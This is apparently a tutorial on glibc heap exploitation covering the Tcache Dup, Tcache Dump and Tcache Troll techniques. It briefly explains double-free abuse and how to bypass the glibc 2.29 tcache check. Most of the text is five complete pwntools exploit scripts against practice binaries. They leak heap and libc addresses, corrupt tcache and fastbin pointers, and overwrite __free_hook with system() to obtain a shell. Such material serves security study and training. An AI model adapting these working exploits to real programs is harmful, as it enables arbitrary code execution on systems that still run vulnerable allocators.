Overview

  • Leverage a double-free bug to coerce malloc into returning the same chunk twice, without freeing it in between. This technique is typically capitalised upon by corrupting tcache metadata to link a fake chunk into a tcachebin. This fake chunk can be allocated, then program functionality could be used to read from or write to an arbitrary memory location.

Detail

  • The Tcache Dup technique operates in a similar manner to the Fastbin Dup, the primary difference being that in GLIBC versions < 2.29 there is no tcache double-free mitigation. The Tcache Dup is a very powerful primitive because there is no chunk size integrity check on allocations from a tcachebin, making it very easy to overlap a fake tcache chunk with any memory address.

Further use

  • In GLIBC version 2.29 a tcache double-free check was introduced: when a chunk is linked into a tcachebin, the address of that thread’s tcache is written into the slot usually reserved for a free chunk’s bk pointer, which is relabelled as a “key” field. When chunks are freed their key field is checked and if it matches the address of the tcache then the appropriate tcachebin is searched for the freed chunk. If the chunk is found to be already in the tcache then abort() is called.
  • This check can be bypassed by filling the target tcachebin to free a victim chunk into the same sized fastbin, emptying the tcachebin then freeing the victim chunk a 2nd time. Next, the victim chunk is allocated from the tcachebin at which point a designer can tamper with its fastbin fd pointer. When the victim chunk is allocated from its fastbin, the remaining chunks in the same fastbin are dumped into the tcache, including the fake chunk, tcache dumping does not include a double-free check. Note that the fake chunk’s fd must be null for this to succeed. Since the tcache itself resides on the heap it can be subject to corruption after a heap leak.

Script

Tcache dup

target.py

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./tcache_dup', checksec=False) #libc = ELF('', checksec=False) libc = elf.libc gs = """ b *main b *main+253 b *main+363 b *main+430 b *main+536 """ def info(mess): return log.info(mess) def success(mess): return log.success(mess) def error(mess): log.error(mess) def start(): if args.GDB: return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs) elif args.REMOTE: return remote('', ) else: return process(elf.path, env={"LD_LIBRARY_PATH": libc.path}) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send("1") io.sendafter("size: ", f"{size}") io.sendafter("data: ", data) io.recvuntil("> ") index += 1 return index - 1 # Select the "free" option; send index. def free(index): io.send("2") io.sendafter("index: ", f"{index}") io.recvuntil("> ") io = start() # This binary leaks the address of puts(), use it to resolve the libc load address. io.recvuntil("puts() @ ") libc.address = int(io.recvline(), 16) - libc.sym.puts io.recvuntil("> ") io.timeout = 0.1 # ============================================================================= # Request a 0x20-sized chunk. dup = malloc(0x18, "A"*8) # Leverage the double-free bug to free the "dup" chunk twice. free(dup) free(dup) # The next request for a 0x20-sized chunk will be serviced by the "dup" chunk. # Request it, then overwrite its tcachebin fd, pointing it at the target data. # There is no need to account for the chunk header because the tcache uses pointers to chunk user # data rather than to chunk headers. malloc(0x18, pack(elf.sym.target)) # Make another request for a 0x20-sized chunk; the same chunk is allocated to service this request. malloc(0x18, "B"*8) # The next request for a 0x20-sized chunk is serviced by the fake chunk overlapping the target data. malloc(0x18, "Much win") # Check that the target data was overwritten. io.sendthen(b"target: ", b"3") target_data = io.recvuntil(b"\n", True) assert target_data == b"Much win" io.recvuntil(b"> ") # ============================================================================= io.interactive()

shell.py

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./tcache_dup', checksec=False) #libc = ELF('', checksec=False) libc = elf.libc gs = """ b *main b *main+253 b *main+363 b *main+430 b *main+536 """ def info(mess): return log.info(mess) def success(mess): return log.success(mess) def error(mess): log.error(mess) def start(): if args.GDB: return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs) elif args.REMOTE: return remote('', ) else: return process(elf.path, env={"LD_LIBRARY_PATH": libc.path}) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send("1") io.sendafter("size: ", f"{size}") io.sendafter("data: ", data) io.recvuntil("> ") index += 1 return index - 1 # Select the "free" option; send index. def free(index): io.send("2") io.sendafter("index: ", f"{index}") io.recvuntil("> ") io = start() # This binary leaks the address of puts(), use it to resolve the libc load address. io.recvuntil("puts() @ ") libc.address = int(io.recvline(), 16) - libc.sym.puts io.recvuntil("> ") io.timeout = 0.1 # ============================================================================= # Request a 0x20-sized chunk. dup = malloc(0x18, "A"*8) # Leverage the double-free bug to free the "dup" chunk twice. free(dup) free(dup) # The next request for a 0x20-sized chunk will be serviced by the "dup" chunk. # Request it, then overwrite its tcachebin fd, pointing it at the free hook. # There is no need to account for the chunk header because the tcache uses pointers to chunk user # data rather than to chunk headers. malloc(0x18, pack(libc.sym.__free_hook)) # Make another request for a 0x20-sized chunk; the same chunk is allocated to service this request. # Write the string "/bin/sh" into this chunk for use later as the argument to system(). binsh = malloc(0x18, "/bin/sh\0") # The next request for a 0x20-sized chunk is serviced by the fake chunk overlapping the free hook. # Use it to overwrite the free hook with the address of system(). malloc(0x18, pack(libc.sym.system)) # Free the chunk with the string "/bin/sh" in the first qword of its user data. # This triggers a call to system("/bin/sh"). free(binsh) # ============================================================================= io.interactive()

Tcache dump

target.py

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./tcache_dup_2.31', checksec=False) #libc = ELF('', checksec=False) libc = elf.libc gs = """ b *main b *main+262 b *main+388 b *main+473 b *main+600 """ def info(mess): return log.info(mess) def success(mess): return log.success(mess) def error(mess): log.error(mess) def start(): if args.GDB: return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs) elif args.REMOTE: return remote('', ) else: return process(elf.path, env={"LD_LIBRARY_PATH": libc.path}) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send("1") io.sendafter("size: ", f"{size}") io.sendafter("data: ", data) io.recvuntil("> ") index += 1 return index - 1 # Select the "free" option; send index. def free(index): io.send("2") io.sendafter("index: ", f"{index}") io.recvuntil("> ") io = start() # This binary leaks the address of puts(), use it to resolve the libc load address. io.recvuntil("puts() @ ") libc.address = int(io.recvline(), 16) - libc.sym.puts io.recvuntil("> ") io.timeout = 0.1 # ============================================================================= # Request 7 0x20-sized chunks. for n in range(7): malloc(0x18, "A"*8) # Request a "dup" chunk to duplicate. dup = malloc(0x18, "B"*8) # Fill the 0x20 tcachebin with the first 7 chunks. for n in range(7): free(n) # Free the "dup" chunk into the 0x20 fastbin. free(dup) # Purge the 0x20 tcachebin. for n in range(7): malloc(0x18, "C"*8) # Double-free the "dup" chunk into the 0x20 tcachebin. free(dup) # The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the "dup" chunk. # Request it, then overwrite its fastbin fd, pointing it near to the target data. The fd of the fake chunk # overlapping the target must be null. malloc(0x18, pack(elf.sym.target - 0x18)) # The next request for a 0x20-sized chunk is serviced from the 0x20 fastbin by the "dup" chunk. # The tcache code will dump any remaining chunks from the 0x20 fastbin into the 0x20 tcachebin, including the fake chunk. malloc(0x18, "D"*8) # The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the fake chunk that overlaps the target data. # Request it, then overwrite the target data. malloc(0x18, "Y"*8 + "Much win") # Check that the target data was overwritten. io.sendthen(b"target: ", b"3") target_data = io.recvuntil(b"\n", True) assert target_data == b"Much win" io.recvuntil(b"> ") # ============================================================================= io.interactive()

shell.py

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./tcache_dup_2.31', checksec=False) #libc = ELF('', checksec=False) libc = elf.libc gs = """ b *main b *main+262 b *main+388 b *main+473 b *main+600 """ def info(mess): return log.info(mess) def success(mess): return log.success(mess) def error(mess): log.error(mess) def start(): if args.GDB: return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs) elif args.REMOTE: return remote('', ) else: return process(elf.path, env={"LD_LIBRARY_PATH": libc.path}) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send("1") io.sendafter("size: ", f"{size}") io.sendafter("data: ", data) io.recvuntil("> ") index += 1 return index - 1 # Select the "free" option; send the index. def free(index): io.send("2") io.sendafter("index: ", f"{index}") io.recvuntil("> ") io = start() # This binary leaks the address of puts(), use it to resolve the libc load address. io.recvuntil("puts() @ ") libc.address = int(io.recvline(), 16) - libc.sym.puts io.recvuntil("> ") io.timeout = 0.1 # ============================================================================= # Request 7 0x20-sized chunks. for n in range(7): malloc(0x18, "A"*8) # Request a "dup" chunk to duplicate. dup = malloc(0x18, "B"*8) # Fill the 0x20 tcachebin with the first 7 chunks. for n in range(7): free(n) # Free the "dup" chunk into the 0x20 fastbin. free(dup) # Purge the 0x20 tcachebin. # Use this opportunity to write the string "/bin/sh" into a chunk that can be freed later. for n in range(7): binsh = malloc(0x18, "/bin/sh\0") # Double-free the "dup" chunk into the 0x20 tcachebin. free(dup) # The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the "dup" chunk. # Request it, then overwrite its fastbin fd, pointing it near to the free hook. The fd of the fake chunk # overlapping the free hook must be null. malloc(0x18, pack(libc.sym.__free_hook - 0x10)) # The next request for a 0x20-sized chunk is serviced from the 0x20 fastbin by the "dup" chunk. # The tcache code will dump any remaining chunks from the 0x20 fastbin into the 0x20 tcachebin, including the fake chunk. malloc(0x18, "C"*8) # The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the fake chunk that overlaps the free hook. # Request it, then overwrite the free hook with the address of system(). malloc(0x18, pack(libc.sym.system)) # Free a chunk containing the string "/bin/sh" to trigger system("/bin/sh"). free(binsh) # ============================================================================= io.interactive()

Tcache troll

shell.py

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./tcache_troll', checksec=False) #libc = ELF('', checksec=False) libc = elf.libc gs = """ b *main b *main+260 b *main+386 b *main+594 b *main+745 b *main+928 """ def info(mess): return log.info(mess) def success(mess): return log.success(mess) def error(mess): log.error(mess) def start(): if args.GDB: return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs) elif args.REMOTE: return remote('', ) else: return process(elf.path, env={"LD_LIBRARY_PATH": libc.path}) # Index of allocated chunks. index = 0 # Select the "malloc" option; send size & data. # Returns chunk index. def malloc(size, data): global index io.send(b"1") io.sendafter(b"size: ", f"{size}".encode()) io.sendafter(b"data: ", data) io.recvuntil(b"> ") index += 1 return index - 1 # Select the "free" option; send index. def free(index): io.send(b"2") io.sendafter(b"index: ", f"{index}".encode()) io.recvuntil(b"> ") # Select the "read" option. # Returns 8 bytes. def read(index): io.send(b"3") io.sendafter(b"index: ", f"{index}".encode()) r = io.recv(8) io.recvuntil(b"> ") return r io = start() io.recvuntil(b"> ") io.timeout = 0.1 # ============================================================================= # =-=-=- LEAK A HEAP ADDRESS -=-=-= # Request a 0x90-sized "dup" chunk. # Freeing this when the 0x90 tcache count is >=7 will link it into the unsortedbin. dup = malloc(0x88, b"dup") # Request a minimum-sized chunk to guard against consolidation with the top. # Write the string "/bin/sh" into it for use with the free hook later. binsh = malloc(0x18, b"/bin/sh\0") # Leverage the double-free bug to link the "dup" chunk into the 0x90 tcachebin twice. free(dup) free(dup) # Request the same "dup" chunk from the tcache, label it "leaker" this time. leaker = malloc(0x88, b"leaker") # Free the "dup" chunk once more to write tcache metadata into the "leaker" chunk. free(dup) # Leak the address of the "dup" chunk's user data. # Subtract 0x10 to account for chunk metadata, then subtract 0x250 (the size of the tcache chunk) to yield the heap start address. heap = (unpack(read(leaker)) - 0x10) - 0x250 success(f"heap @ 0x{heap:02x}") # =-=-=- LEAK UNSORTEDBIN ADDRESS -=-=-= # Link a fake chunk overlapping the tcache into the tcache. malloc(0x88, pack(heap + 0x10)) # Request the fake chunk overlapping the tcache, use it to set the 0x90 tcache count to 7. # Point the 0x90 tcache slot at the tcache entry fields. malloc(0x88, b"Y"*8) # Allocates the "dup" chunk. malloc(0x88, p8(0)*7 + p8(7) + p8(0)*56 + pack(0)*7 + pack(heap + 0x50)) # Free the "dup" chunk into the unsortedbin, writing the unsortedbin address into the "leaker" chunk. free(dup) # Leak the address of the unsortedbin. # Subtract 0x60 to find the start of the main arena, then subtract the main arena's offset to yield the libc.so load address. libc.address = (unpack(read(leaker)) - 0x60) - libc.sym.main_arena success(f"libc @ 0x{libc.address:02x}") # =-=-=- OVERWRITE THE FREE HOOK -=-=-= # Request the 0x90 chunk overlapping the tcache. # Point the 0x20 tcache slot at the free hook. malloc(0x88, pack(libc.sym.__free_hook)) # Request the fake chunk overlapping the free hook, write the address of system() there. malloc(0x18, pack(libc.sym.system)) # Free a chunk containing the string "/bin/sh" to execute system("/bin/sh"). free(binsh) # ============================================================================= io.interactive()